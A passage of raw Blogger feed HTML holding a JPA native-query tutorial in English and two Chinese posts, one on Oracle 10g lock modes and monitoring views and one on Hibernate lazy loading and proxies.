onclick="dp.sh.Toolbar.Command('PrintSource',this);return false;">print</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('About',this);return false;">?</a></div></div><ol class="dp-j" start="1"><li class="alt"><span><span>Query query = em.createNativeQuery( </span></span></li><li class=""><span> <span class="string">"select * from users where username = ?"</span><span>, User.</span><span class="keyword">class</span><span>); </span></span></li><li class="alt"><span>query.setParameter(<span class="number">1</span><span>, </span><span class="string">"lt"</span><span>); </span></span></li><li class=""><span>User user = (User) query.getSingleResult(); </span></li></ol></div><pre style="display: none;" name="code" class="Java">Query query = em.createNativeQuery(<br />"select * from users where username = ?", User.class);<br />query.setParameter(1, "lt");<br />User user = (User) query.getSingleResult();<br /></pre>setting the result class to: <span style="font-weight: bold;">User.class</span> ensures that the returned columns are mapped to the fields of this class (either through defaulting or via explicit @Column mappings). All non-transient fields in the result class must be returned from the query (null values are allowed).<br /></li><br /><li>Native queries can return lists of entities/scalars by issuing <span style="font-weight: bold;">query.getResultList()</span>. Database updates/deletes can be performed via the<span style="font-weight: bold;"> query.executeUpdate() </span>command.</li><br /><li>Like JPQL, native queries can be named for easy reuse:<br /><div class="dp-highlighter"><div class="bar"><div class="tools"><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('ViewSource',this);return false;">view plain</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('PrintSource',this);return false;">print</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('About',this);return false;">?</a></div></div><ol class="dp-j" start="1"><li class="alt"><span><span class="annotation">@NamedNativeQuery</span><span>(name = </span><span class="string">"User.findLike"</span><span>, </span></span></li><li class=""><span> resultClass = User.<span class="keyword">class</span><span>, query = </span><span class="string">"select * "</span><span> </span></span></li><li class="alt"><span> + <span class="string">"from users where username like concat(1,'%')"</span><span>) </span></span></li></ol></div><pre style="display: none;" name="code" class="Java">@NamedNativeQuery(name = "User.findLike",<br />resultClass = User.class, query = "select * "<br />+ "from users where username like concat(1,'%')")<br /></pre></li><li>which then can be used like:<br /><div class="dp-highlighter"><div class="bar"><div class="tools"><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('ViewSource',this);return false;">view plain</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('PrintSource',this);return false;">print</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('About',this);return false;">?</a></div></div><ol class="dp-j" start="1"><li class="alt"><span><span>Query query = em.createNamedQuery(</span><span class="string">"User.findLike"</span><span>); </span></span></li><li class=""><span>query.setParameter(<span class="number">1</span><span>, </span><span class="string">"lt"</span><span>); </span></span></li><li class="alt"><span>List users = query.getResultList(); </span></li></ol></div><pre style="display: none;" name="code" class="Java">Query query = em.createNamedQuery("User.findLike");<br />query.setParameter(1, "lt");<br />List users = query.getResultList();<br /></pre>Only positional parameters are portable in native queries in the <span class="nfakPe">JPA</span> 1.0 Specification (Section 3.6.6). Using named parameters in native queries is undefined.</li></ul><br /><h3>Advanced Query Mapping</h3> Native queries are often used when a simple entity bean is not enough requiring advanced mapping of the query result columns. Such mappings are done with the <span style="font-weight: bold;">@SqlResultSetMapping</span> annotation. Use it when:<br /><ol><li>The query does not return all the mapped columns in a entity bean.</li><li>The result columns of the query are named differently from the entity mapping (common when using the SQL <span style="font-weight: bold;">as</span> keyword)<br /></li><li>You are returning a mixture of scalar and entity columns or multiple entities from several tables (common when issuing joins).</li></ol>As an example consider the following mapping:<br /><div class="dp-highlighter"><div class="bar"><div class="tools"><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('ViewSource',this);return false;">view plain</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('PrintSource',this);return false;">print</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('About',this);return false;">?</a></div></div><ol class="dp-j" start="1"><li class="alt"><span><span class="annotation">@SqlResultSetMapping</span><span>(name=</span><span class="string">"PMapping"</span><span>, </span></span></li><li class=""><span> entities={ </span></li><li class="alt"><span> <span class="annotation">@EntityResult</span><span>(entityClass=Project.</span><span class="keyword">class</span><span>, </span></span></li><li class=""><span> fields={ </span></li><li class="alt"><span> <span class="annotation">@FieldResult</span><span>(name=</span><span class="string">"name"</span><span>,column=</span><span class="string">"p_name"</span><span>), </span></span></li><li class=""><span> <span class="annotation">@FieldResult</span><span>(name=</span><span class="string">"description"</span><span>,column=</span><span class="string">"p_desc"</span><span>) </span></span></li><li class="alt"><span> })} </span></li><li class=""><span> columns={ <span class="annotation">@ColumnResult</span><span>(name=</span><span class="string">"user_n"</span><span>) } </span></span></li><li class="alt"><span>) </span></li></ol></div><pre style="display: none;" name="code" class="Java">@SqlResultSetMapping(name="PMapping",<br />entities={<br /> @EntityResult(entityClass=Project.class,<br /> fields={<br /> @FieldResult(name="name",column="p_name"),<br /> @FieldResult(name="description",column="p_desc")<br />})}<br />columns={ @ColumnResult(name="user_n") }<br />)<br /></pre>which maps the following query:<br /><div class="dp-highlighter"><div class="bar"><div class="tools"><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('ViewSource',this);return false;">view plain</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('PrintSource',this);return false;">print</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('About',this);return false;">?</a></div></div><ol class="dp-sql" start="1"><li class="alt"><span><span class="keyword">select</span><span> u.</span><span class="keyword">name</span><span> </span><span class="keyword">as</span><span> u_name, p.</span><span class="keyword">name</span><span> </span><span class="keyword">as</span><span> p_name, </span></span></li><li class=""><span> p.description <span class="keyword">as</span><span> p_desc </span><span class="keyword">from</span><span> users u, project p </span></span></li><li class="alt"><span><span class="keyword">where</span><span> u.id = p.owner_id; </span></span></li></ol></div><pre style="display: none;" name="code" class="SQL">select u.name as u_name, p.name as p_name,<br />p.description as p_desc from users u, project p<br />where u.id = p.owner_id;<br /></pre>The <span style="font-weight: bold;">@EntityResult</span> annotation is used to map columns in the result set to fields of target entities. Thus the query must return the columns <span style="font-weight: bold;">p_name</span> <span>and <span style="font-weight: bold;">p_desc</span> which will be mapped to the fields <span style="font-weight: bold;">name</span> and <span style="font-weight: bold;">description</span></span>. The <span style="font-weight: bold;">@</span><span style="font-weight: bold;">ColumnResult</span> annotation is used to specify scalar results, using its name attribute to singling out column names that are going to be mapped as primitives. Notice how the query mapping is itself named, facilitating easy reuse, since a entity manager can reference it directly when creating a query:<br /><div class="dp-highlighter"><div class="bar"><div class="tools"><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('ViewSource',this);return false;">view plain</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('PrintSource',this);return false;">print</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('About',this);return false;">?</a></div></div><ol class="dp-j" start="1"><li class="alt"><span><span>Query query = em.createNativeQuery(</span><span class="string">"select.."</span><span>, </span><span class="string">"PMapping"</span><span>); </span></span></li></ol></div><pre style="display: none;" name="code" class="Java">Query query = em.createNativeQuery("select..", "PMapping");<br /></pre>alternatively set it directly on a named native query:<br /><div class="dp-highlighter"><div class="bar"><div class="tools"><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('ViewSource',this);return false;">view plain</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('PrintSource',this);return false;">print</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('About',this);return false;">?</a></div></div><ol class="dp-j" start="1"><li class="alt"><span><span class="annotation">@NamedNativeQuery</span><span>(name = </span><span class="string">"User.findLike"</span><span>, </span></span></li><li class=""><span> resultSetMapping = <span class="string">"PMapping"</span><span>, query = </span><span class="string">"select .."</span><span>) </span></span></li></ol></div><pre style="display: none;" name="code" class="Java">@NamedNativeQuery(name = "User.findLike",<br />resultSetMapping = "PMapping", query = "select ..")<br /></pre>Since this query returns multi-typed values, executing it requires some tweaking:<br /><div class="dp-highlighter"><div class="bar"><div class="tools"><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('ViewSource',this);return false;">view plain</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('PrintSource',this);return false;">print</a><a href="http://blog.randompage.org/2006/06/jpa-native-queries.html#" onclick="dp.sh.Toolbar.Command('About',this);return false;">?</a></div></div><ol class="dp-j" start="1"><li class="alt"><span><span>Query query = em.createNativeQuery(</span><span class="string">"select.."</span><span>, </span><span class="string">"PMapping"</span><span>); </span></span></li><li class=""><span>List<object[]> results = query.getResultList(); </span></li><li class="alt"><span>Object[] resultSet1 = results.get(<span class="number">0</span><span>); </span></span></li><li class=""><span><span class="comment">// get objects from result set</span><span> </span></span></li><li class="alt"><span>Project project = (Project) resultSet1[<span class="number">0</span><span>]; </span></span></li><li class=""><span>String username = (String) resultSet1[<span class="number">1</span><span>]; </span></span></li></ol></div><pre style="display: none;" name="code" class="Java">Query query = em.createNativeQuery("select..", "PMapping");<br />List<object[]> results = query.getResultList();<br />Object[] resultSet1 = results.get(0);<br />// get objects from result set<br />Project project = (Project) resultSet1[0];<br />String username = (String) resultSet1[1];<br /></pre>So to handle a multi-typed result you simple cast each array entry to the type denoted in the mapping. For complex column types such as CLOBs, cast to the appropriate JDBC type.<br /><br /><span style="font-weight: bold;">REFER</span>: http://blog.randompage.org/2006/06/jpa-native-queries.htmlAnonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com81tag:blogger.com,1999:blog-30018430.post-86250397836714732072009-04-10T16:45:00.008+08:002010-02-20T15:14:41.327+08:00Oracle10g的锁机制看起来,oracle的锁分为表锁和行锁两个级别(看起来比sqlserer和mysql都要少,实际上还有一些内部锁是用户看不到的,此外oracle实现并发控制主要以来multiversion,Refer to:http://www.sc.ehu.es/siwebso/KZCC/Oracle_10g_Documentacion/server.101/b10743/consist.htm)<br />根据保护的对象不同,Oracle数据库锁可以分为以下几大类:DML锁(data locks,数据锁),用于保护数据的完整性;DDL锁(dictionary locks,字典锁),用于保护数据库对象的结构,如表、索引等的结构定义;内部锁和闩(internal locks and latches),保护数据库的内部结构。<br />DML锁的目的在于保证并发情况下的数据完整性,本文主要讨论DML锁。在Oracle数据库中,DML锁主要包括TM锁和TX锁,其中TM锁称为表级锁,TX锁称为事务锁或行级锁。<br /><table bg="" style="color: rgb(102, 102, 102);" border="1" cellpadding="1" cellspacing="0" height="194" width="456"><tbody><tr><td colspan="4"><span class="style1">表1 Oracle的TM锁类型</span></td> </tr> <tr> <td width="40"><span class="style4">锁模式</span></td> <td width="84"><span class="style4">锁描述</span></td> <td width="101"><span class="style4">解释</span></td> <td width="213"><span class="style4">SQL操作</span></td> </tr> <tr> <td><span class="style4">0</span></td> <td><span class="style4">none</span></td> <td><br /></td> <td><br /></td> </tr> <tr> <td><span class="style4">1</span></td> <td><span class="style4">NULL</span></td> <td><span class="style4">空</span></td> <td><span class="style4">Select</span></td> </tr> <tr> <td><span class="style4">2</span></td> <td><span class="style4">RS(Row-S)</span></td> <td><span class="style4">行级共享锁,其他对象只能查询这些数据行</span></td> <td><p class="style4">Select for update、Lock for update、Lock row share</p> </td> </tr> <tr> <td><span class="style4">3</span></td> <td><span class="style4">RX(Row-X)</span></td> <td><span class="style4">行级排它锁,在提交前不允许做DML操作</span></td> <td><p class="style4">Insert、Update、Delete、Lock row share</p> </td> </tr> <tr> <td><span class="style4">4</span></td> <td><span class="style4">S(Share)</span></td> <td><span class="style4">共享锁</span></td> <td><span class="style4">Create index、Lock share</span></td> </tr> <tr> <td><span class="style4">5</span></td> <td><span class="style4">SRX(S/Row-X)</span></td> <td><span class="style4">共享行级排它锁</span></td> <td><span class="style4">Lock share row exclusive</span></td> </tr> <tr> <td><span class="style4">6</span></td> <td><span class="style4">X(Exclusive)</span></td> <td><span class="style4">排它锁</span></td> <td><p class="style4">Alter table、Drop able、Drop index、Truncate table 、Lock exclusive</p></td></tr></tbody></table><br /><br /><table class="Formal" title="Summary of Table Locks " summary="Summary of Table Locks" dir="ltr" frame="hsides" rules="groups" border="1" cellpadding="3" cellspacing="0" width="100%"> <thead> <tr align="left" valign="top"> <th id="r1c1-t25" rowspan="2" align="left" valign="bottom">SQL Statement</th> <th id="r1c2-t25" rowspan="2" align="left" valign="bottom">Mode of Table Lock</th> <th id="r1c3-t25" colspan="5" align="left" valign="bottom">Lock Modes Permitted?</th> </tr> <tr align="left" valign="top"> <th id="r2c1-t25" headers="r1c1-t25 r1c1-t25" align="left" valign="bottom">RS</th> <th id="r2c2-t25" headers="r1c1-t25 r2c1-t25 r1c2-t25" align="left" valign="bottom">RX</th> <th id="r2c3-t25" headers="r1c1-t25 r2c1-t25 r1c3-t25" align="left" valign="bottom">S</th> <th id="r2c4-t25" headers="r1c1-t25 r2c1-t25 r1c3-t25" align="left" valign="bottom">SRX</th> <th id="r2c5-t25" headers="r1c1-t25 r2c1-t25 r1c3-t25" align="left" valign="bottom">X</th> </tr> </thead> <tbody> <tr align="left" valign="top"> <td id="r3c1-t25" headers="r1c1-t25 r2c1-t25" align="left"> <p><code>SELECT...FROM</code> <code><span class="codeinlineitalic">table</span></code><code>...</code></p> </td> <td headers="r3c1-t25 r1c2-t25 r2c2-t25" align="left"> <p>none</p> </td> <td headers="r3c1-t25 r1c3-t25 r2c3-t25" align="left"> <p>Y</p> </td> <td headers="r3c1-t25 r1c3-t25 r2c4-t25" align="left"> <p>Y</p> </td> <td headers="r3c1-t25 r1c3-t25 r2c5-t25" align="left"> <p>Y</p> </td> <td headers="r3c1-t25 r1c3-t25" align="left"> <p>Y</p> </td> <td headers="r3c1-t25 r1c3-t25" align="left"> <p>Y</p> </td> </tr> <tr align="left" valign="top"> <td id="r4c1-t25" headers="r1c1-t25 r2c1-t25" align="left"> <p><code>INSERT INTO</code> <code><span class="codeinlineitalic">table</span></code> <code>...</code></p> </td> <td headers="r4c1-t25 r1c2-t25 r2c2-t25" align="left"> <p>RX</p> </td> <td headers="r4c1-t25 r1c3-t25 r2c3-t25" align="left"> <p>Y</p> </td> <td headers="r4c1-t25 r1c3-t25 r2c4-t25" align="left"> <p>Y</p> </td> <td headers="r4c1-t25 r1c3-t25 r2c5-t25" align="left"> <p>N</p> </td> <td headers="r4c1-t25 r1c3-t25" align="left"> <p>N</p> </td> <td headers="r4c1-t25 r1c3-t25" align="left"> <p>N</p> </td> </tr> <tr align="left" valign="top"> <td id="r5c1-t25" headers="r1c1-t25 r2c1-t25" align="left"> <p><code>UPDATE</code> <code><span class="codeinlineitalic">table</span></code> <code>...</code></p> </td> <td headers="r5c1-t25 r1c2-t25 r2c2-t25" align="left"> <p>RX</p> </td> <td headers="r5c1-t25 r1c3-t25 r2c3-t25" align="left"> <p>Y*</p> </td> <td headers="r5c1-t25 r1c3-t25 r2c4-t25" align="left"> <p>Y*</p> </td> <td headers="r5c1-t25 r1c3-t25 r2c5-t25" align="left"> <p>N</p> </td> <td headers="r5c1-t25 r1c3-t25" align="left"> <p>N</p> </td> <td headers="r5c1-t25 r1c3-t25" align="left"> <p>N</p> </td> </tr> <tr align="left" valign="top"> <td id="r6c1-t25" headers="r1c1-t25 r2c1-t25" align="left"> <p><code>DELETE FROM</code> <code><span class="codeinlineitalic">table</span></code> <code>...</code></p> </td> <td headers="r6c1-t25 r1c2-t25 r2c2-t25" align="left"> <p>RX</p> </td> <td headers="r6c1-t25 r1c3-t25 r2c3-t25" align="left"> <p>Y*</p> </td> <td headers="r6c1-t25 r1c3-t25 r2c4-t25" align="left"> <p>Y*</p> </td> <td headers="r6c1-t25 r1c3-t25 r2c5-t25" align="left"> <p>N</p> </td> <td headers="r6c1-t25 r1c3-t25" align="left"> <p>N</p> </td> <td headers="r6c1-t25 r1c3-t25" align="left"> <p>N</p> </td> </tr> <tr align="left" valign="top"> <td id="r7c1-t25" headers="r1c1-t25 r2c1-t25" align="left"> <p><code>SELECT ... FROM</code> <code><span class="codeinlineitalic">table</span></code> <code>FOR UPDATE OF ...</code></p> </td> <td headers="r7c1-t25 r1c2-t25 r2c2-t25" align="left"> <p>RS</p> </td> <td headers="r7c1-t25 r1c3-t25 r2c3-t25" align="left"> <p>Y*</p> </td> <td headers="r7c1-t25 r1c3-t25 r2c4-t25" align="left"> <p>Y*</p> </td> <td headers="r7c1-t25 r1c3-t25 r2c5-t25" align="left"> <p>Y*</p> </td> <td headers="r7c1-t25 r1c3-t25" align="left"> <p>Y*</p> </td> <td headers="r7c1-t25 r1c3-t25" align="left"> <p>N</p> </td> </tr> <tr align="left" valign="top"> <td id="r8c1-t25" headers="r1c1-t25 r2c1-t25" align="left"> <p><code>LOCK TABLE</code> <code><span class="codeinlineitalic">table</span></code> <code>IN ROW SHARE MODE</code></p> </td> <td headers="r8c1-t25 r1c2-t25 r2c2-t25" align="left"> <p>RS</p> </td> <td headers="r8c1-t25 r1c3-t25 r2c3-t25" align="left"> <p>Y</p> </td> <td headers="r8c1-t25 r1c3-t25 r2c4-t25" align="left"> <p>Y</p> </td> <td headers="r8c1-t25 r1c3-t25 r2c5-t25" align="left"> <p>Y</p> </td> <td headers="r8c1-t25 r1c3-t25" align="left"> <p>Y</p> </td> <td headers="r8c1-t25 r1c3-t25" align="left"> <p>N</p> </td> </tr> <tr align="left" valign="top"> <td id="r9c1-t25" headers="r1c1-t25 r2c1-t25" align="left"> <p><code>LOCK TABLE</code> <code><span class="codeinlineitalic">table</span></code> <code>IN ROW EXCLUSIVE MODE</code></p> </td> <td headers="r9c1-t25 r1c2-t25 r2c2-t25" align="left"> <p>RX</p> </td> <td headers="r9c1-t25 r1c3-t25 r2c3-t25" align="left"> <p>Y</p> </td> <td headers="r9c1-t25 r1c3-t25 r2c4-t25" align="left"> <p>Y</p> </td> <td headers="r9c1-t25 r1c3-t25 r2c5-t25" align="left"> <p>N</p> </td> <td headers="r9c1-t25 r1c3-t25" align="left"> <p>N</p> </td> <td headers="r9c1-t25 r1c3-t25" align="left"> <p>N</p> </td> </tr> <tr align="left" valign="top"> <td id="r10c1-t25" headers="r1c1-t25 r2c1-t25" align="left"> <p><code>LOCK TABLE</code> <code><span class="codeinlineitalic">table</span></code> <code>IN SHARE MODE</code></p> </td> <td headers="r10c1-t25 r1c2-t25 r2c2-t25" align="left"> <p>S</p> </td> <td headers="r10c1-t25 r1c3-t25 r2c3-t25" align="left"> <p>Y</p> </td> <td headers="r10c1-t25 r1c3-t25 r2c4-t25" align="left"> <p>N</p> </td> <td headers="r10c1-t25 r1c3-t25 r2c5-t25" align="left"> <p>Y</p> </td> <td headers="r10c1-t25 r1c3-t25" align="left"> <p>N</p> </td> <td headers="r10c1-t25 r1c3-t25" align="left"> <p>N</p> </td> </tr> <tr align="left" valign="top"> <td id="r11c1-t25" headers="r1c1-t25 r2c1-t25" align="left"> <p><code>LOCK TABLE</code> <code><span class="codeinlineitalic">table</span></code> <code>IN SHARE ROW EXCLUSIVE MODE</code></p> </td> <td headers="r11c1-t25 r1c2-t25 r2c2-t25" align="left"> <p>SRX</p> </td> <td headers="r11c1-t25 r1c3-t25 r2c3-t25" align="left"> <p>Y</p> </td> <td headers="r11c1-t25 r1c3-t25 r2c4-t25" align="left"> <p>N</p> </td> <td headers="r11c1-t25 r1c3-t25 r2c5-t25" align="left"> <p>N</p> </td> <td headers="r11c1-t25 r1c3-t25" align="left"> <p>N</p> </td> <td headers="r11c1-t25 r1c3-t25" align="left"> <p>N</p> </td> </tr> <tr align="left" valign="top"> <td id="r12c1-t25" headers="r1c1-t25 r2c1-t25" align="left"> <p><code>LOCK TABLE</code> <code><span class="codeinlineitalic">table</span></code> <code>IN EXCLUSIVE MODE</code></p> </td> <td headers="r12c1-t25 r1c2-t25 r2c2-t25" align="left"> <p>X</p> </td> <td headers="r12c1-t25 r1c3-t25 r2c3-t25" align="left"> <p>N</p> </td> <td headers="r12c1-t25 r1c3-t25 r2c4-t25" align="left"> <p>N</p> </td> <td headers="r12c1-t25 r1c3-t25 r2c5-t25" align="left"> <p>N</p> </td> <td headers="r12c1-t25 r1c3-t25" align="left"> <p>N</p> </td> <td headers="r12c1-t25 r1c3-t25" align="left"> <p>N</p> </td> </tr> </tbody> </table>from: http://download.oracle.com/docs/cd/B19306_01/server.102/b14220/consist.htm#sthref1939<br /><br />select....不会在任何资源上加任何锁,默认的隔离级别是read committed,这个隔离级别下的transaction set consistency是statement-level(serializable的隔离级别下则为transactio-level)。<br />statement-level是指query的时候只返回query开始前的所有数据,不会返回query执行过程中对data的修改。 transaction-level这是query的时候返回事务开始前的所有的数据,不会返回事务执行过程中对data的修改。<br />这里说一下怎么测试oracle的锁。oracle有一些数据字典可以获得会话和锁的信息。<br /><table bg="" style="color: rgb(102, 102, 102);" border="1" cellpadding="1" cellspacing="0" height="194" width="577"><tbody><tr><td colspan="3"><span class="style1">表2 数据字典视图说明</span></td> </tr> <tr> <td width="105"><span class="style4">视图名</span></td> <td width="82"><span class="style4">描述</span></td> <td width="376"><span class="style4">主要字段说明</span></td> </tr> <tr> <td><span class="style4">v$session</span></td> <td><span class="style4">查询会话的信息和锁的信息。</span></td> <td><p class="style4">sid,serial#:表示会话信息。</p> <p class="style4">program:表示会话的应用程序信息。</p> <p class="style4">row_wait_obj#:表示等待的对象。</p> <p class="style4">和dba_objects中的object_id相对应。</p></td> </tr> <tr> <td><span class="style4">v$session_wait</span></td> <td><span class="style4">查询等待的会话信息。</span></td> <td><p class="style4">sid:表示持有锁的会话信息。</p> <p class="style4">Seconds_in_wait:表示等待持续的时间信息</p> <p class="style4">Event:表示会话等待的事件。</p></td> </tr> <tr> <td><span class="style4">v$lock</span></td> <td><span class="style4">列出系统中的所有的锁。</span></td> <td><p class="style4">Sid:表示持有锁的会话信息。</p> <p class="style4">Type:表示锁的类型。值包括TM和TX等。</p> <p class="style4">ID1:表示锁的对象标识。</p> <p class="style4">lmode,request:表示会话等待的锁模式的信</p> <p class="style4">息。用数字0-6表示,和表1相对应。</p></td> </tr> <tr> <td><span class="style4">dba_locks</span></td> <td><span class="style4">对v$lock的格式化视图。</span></td> <td><p class="style4">Session_id:和v$lock中的Sid对应。</p> <p class="style4">Lock_type:和v$lock中的type对应。</p> <p class="style4">Lock_ID1: 和v$lock中的ID1对应。</p> <p class="style4">Mode_held,mode_requested:和v$lock中</p> <p class="style4">的lmode,request相对应。</p></td> </tr> <tr> <td><span class="style4">v$locked_object</span></td> <td><span class="style4">只包含DML的锁信息,包括回滚段和会话信息。</span></td> <td><p class="style4">Xidusn,xidslot,xidsqn:表示回滚段信息。和</p> <p class="style4">v$transaction相关联。</p> <p class="style4">Object_id:表示被锁对象标识。</p> <p class="style4">Session_id:表示持有锁的会话信息。</p> <p class="style4">Locked_mode:表示会话等待的锁模式的信</p> <p class="style4">息,和v$lock中的lmode一致。</p></td></tr></tbody></table>比如,打开一个sql*plus,然后<br />> select * from game for update.<br />> select * from dba_locks;<br />从返回的结果集可以看到这个会话说获得的锁(可以通过select * from v$session来获得会话id)。<br />> commit;<br />commit之后会释放这个事务获得的所有的锁。<br /><br />如何手动的释放锁?<br /><span style="background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 128, 128);">--</span><span style="color: rgb(0, 128, 128);">查看锁</span></span><span style="color: rgb(0, 128, 128);"></span><br /><p><span style="color: rgb(0, 0, 255);"><span style="background-color: rgb(255, 255, 255);">select</span></span><span style="background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);"> t2.username,t2.sid,t2.serial#,t2.logon_time<br /></span><span style="color: rgb(0, 0, 255);">from</span></span><span style="background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);"> v$locked_object t1,v$session t2<br /></span><span style="color: rgb(0, 0, 255);">where</span><span style="color: rgb(0, 0, 0);"> t1.session_id</span><span style="color: rgb(128, 128, 128);">=</span><span style="color: rgb(0, 0, 0);">t2.sid </span><span style="color: rgb(0, 0, 255);">order</span><span style="color: rgb(0, 0, 0);"> </span><span style="color: rgb(0, 0, 255);">by</span></span><span style="background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);"> t2.logon_time;<br /></span></span><span style="color: rgb(0, 0, 0);"><br /></span><span style="background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 128, 128);">--</span><span style="color: rgb(0, 128, 128);">alter system kill session 'sid,serial#';</span></span><span style="color: rgb(0, 128, 128);"><br /><span style="background-color: rgb(255, 255, 255);">--</span></span><span style="color: rgb(0, 128, 128);"><span style="background-color: rgb(255, 255, 255);">把锁给KILL掉</span></span><span style="color: rgb(0, 128, 128);"><br /></span><span style="background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 255);">alter</span><span style="color: rgb(0, 0, 0);"> system </span><span style="color: rgb(0, 0, 255);">kill</span><span style="color: rgb(0, 0, 0);"> session </span><span style="color: rgb(255, 0, 0);">'</span><span style="color: rgb(255, 0, 0);">146,21177</span><span style="color: rgb(255, 0, 0);">'</span><span style="color: rgb(0, 0, 0);">;</span></span></p><p style="font-weight: bold;">查询锁定的资源:</p><p>select * from v$locked_object; //得到被锁定的object</p><p>select * from dba_objects where object_id=?1 //根据上面查询得到的object_id。</p><p><span style="background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);"><br /></span></span></p>Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com1tag:blogger.com,1999:blog-30018430.post-29907240300394618262009-04-10T09:39:00.005+08:002009-04-10T11:32:09.136+08:00Java persistent with hibernate在采用hibernate作为JPA实现的过程中,由于本身对JPA和hibernate都不是很熟悉,碰到了一些疑问。总之,抱定了见神杀神,见佛杀佛的宗旨,不怕碰到问题,碰到了就搞定它。<br />昨天一直迷惑于hibernate对FetchTYpe.LAZY的支持。这里有三个类,Transaction, Ticket, GameDraw,在Ticket表中通过Transaction_ID和GameDraw_ID来关联另外两个表。 首先构造了一个Ticket实例来准备插入数据库:<br /><span style="font-style: italic;">Ticket ticket = new Ticket();<br />Transaction trans = new Transaction();<br />trans.setId("trans-id");<br />ticket.setTrans(trans);<br />GameDraw draw = new GameDraw();<br />draw.setId("draw-id");<br />ticket.setDraw(draw);<br />ticket.setId("ticket.id");</span><br />然后在执行数据库插入的时候,我发现hibernate会首先查询Transaction和GameDraw:<br />- [AbstractEntityPersister] Getting current persistent state for: [com.mpos.lottery.te.trans.domain.Transaction#TRANS-ID]<br />- [AbstractEntityPersister] Getting current persistent state for: [com.mpos.lottery.te.draw.domain.GameDraw#DRAW-ID]<br />看起来,应该是JPA在插入Ticket的时候,这个ticket实例会从new转化到managed的状态,而由于它关联的Transaction和GameDraw也是@Entity,并且已经被assign了identifier,所以JPA需要确定Transaction和GameDraw是什么状态(到底是new还是detached,如果存在,那么应该是detached,否则应该是new)。<br />看起来,如果要避免这两个额外的查询,就是采用下面的方法:<br /><span style="font-style: italic;">Transaction trans = entityManager.getReferece(Transaction.class, "TRANS-ID");</span><br /><span style="font-style: italic;">GameDraw draw = entityManager.getReferece(GameDraw .class, "DRAW-ID");</span><br /><span style="font-style: italic;">Ticket ticket = new Ticket();</span><br /><span style="font-style: italic;">ticket.setTransaction(trans);</span><br /><span style="font-style: italic;">ticket.setGameDraw(draw);</span><br /><span style="font-style: italic;">ticket.setId("Ticket-ID");</span><br /><span style="font-style: italic;">entityManager.persist(ticket);</span><br />本来,保存Ticket实例只需要Transaction.id和GameDraw.id就够了,并不需要其他的信息,通过Proxy来避免JPA访问数据库。<br /><br />再所说JPA的lazy loading。EntityManager的find(),getReference()分别对应到hibernate native的get()和load(),即前一个方法总是查询数据库来获得实例,而后一个方法不会访问数据库,而是返回一个本地的代理,只有在真正访问某个getter方法的时候才会去查询数据库。<br />对于JPA、hibernate,调用getID()的时候不会访问数据库,而对于ibatis,这没有这么细粒度,访问任何getter方法都会查询数据库。实际上,hibernate通过proxy(runtime generation)和interception(需要在编译后,对class进行bytecode enhancemant)。Proxies and collection wrappers can only be used to lazy load entity associations and collections. 就是说Proxies是对整个关联实例进行代理,只能lazy load一个实例,无法lazy load实例的某个属性。 Interception可以实现lazy load某个属性(对属性@Basic(fetch=FetchType.Lazy)),但是一般不需要采用interception这种方式。 此外,正如前面提到过,在"Java Persistence with Hibernate"的“13.1.6"中也说过,采用proxy这种方式的话,ticket.getTransaction().getId()应该不会出发proxy的initialization(访问数据库),从我个人的理解来说,我也认为这样的行为是合理的,因为Ticket表中已经保存了Transtion_id,而且fetch=FetchType.LAZY,所以ticket.getTransaction()和entityManager.getReference(Transaction.class, "TRANS-ID")应该得到同样的proxy,所以ticket.getTransaction().getId()不会出发proxy initialization。不过实际的结果是,在测试过程中我就发现ticket.getTransaction().getId()的时候,hibernate会根据trans_ID去查询Transaction. . .????<br />需要弄清楚的是,hibernate默认是返回proxy,而JPA的ManyToOne和OneToOne默认是访问数据库(fetch=FetchType.EAGER),所以在处理关联对象的时候,如果需要lazy loading,那么需要显示指定fetch=FetchType.EAGER. 这里需要特别考虑的是ManyToOne和OneToOne两种关联,如果optinal是true,即One的一方可以为null,那么JPA总会访问数据库,因为不访问数据库,JAP无法确定到底是应该返回Proxy还是返回null. 